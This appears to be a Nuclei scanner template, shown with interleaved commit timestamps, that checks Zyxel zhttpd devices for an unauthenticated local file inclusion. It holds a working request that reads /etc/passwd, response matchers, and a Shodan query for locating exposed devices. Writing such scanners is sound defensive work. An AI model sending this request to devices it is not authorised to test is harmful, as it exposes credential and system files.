2022-12-15 19:01:01 +00:00
id : unauth-lfd-zhttpd
2022-12-15 13:32:26 +00:00
info :
2023-01-16 17:41:15 +00:00
name : zhttpd - Local File Inclusion
2022-12-15 13:32:26 +00:00
author : EvergreenCartoons
2022-12-15 19:01:01 +00:00
severity : high
2022-12-15 19:12:12 +00:00
description : |
2023-01-16 17:41:15 +00:00
zhttpd is vulnerable to unauthenticated local inclusion including privileged files such as /etc/shadow. An attacker can read all files on the system by using this endpoint.
2022-12-15 13:32:26 +00:00
reference :
- https://sec-consult.com/blog/detail/enemy-within-unauthenticated-buffer-overflows-zyxel-routers/
- https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-multiple-zyxel-devices/
- https://github.com/rapid7/metasploit-framework/pull/17388
2023-01-16 17:41:15 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cwe-id : CWE-22
2022-12-15 19:01:01 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-10-14 11:27:55 +00:00
max-request : 1
2022-12-15 19:01:01 +00:00
shodan-query : http.html:"VMG1312-B10D"
2023-01-05 11:21:19 +00:00
tags : misconfig,unauth,zyxel,lfi,msf
2022-12-15 13:32:26 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-12-15 13:32:26 +00:00
- raw :
- |
GET /Export_Log?/etc/passwd HTTP/1.1
Host : {{Hostname}}
Accept : */*
2022-12-15 19:01:01 +00:00
2022-12-15 13:32:26 +00:00
matchers-condition : and
matchers :
- type : regex
part : body
regex :
- "root:.*:0:0:"
2022-12-15 19:01:01 +00:00
- type : word
part : header
words :
- 'application/octet-stream'
2022-12-15 13:32:26 +00:00
- type : status
status :
- 200
2023-10-20 11:41:13 +00:00
# digest: 4a0a0047304502200d8c8748ea66ad05e3e3e8df386446034ef6e42de0346e806f2f16613e0d1269022100a5e97eba24d4654167709f1e1f792e3457c5de18d8012eb46fb0716849489d60:922c64590222798bb761d5b6d8e72950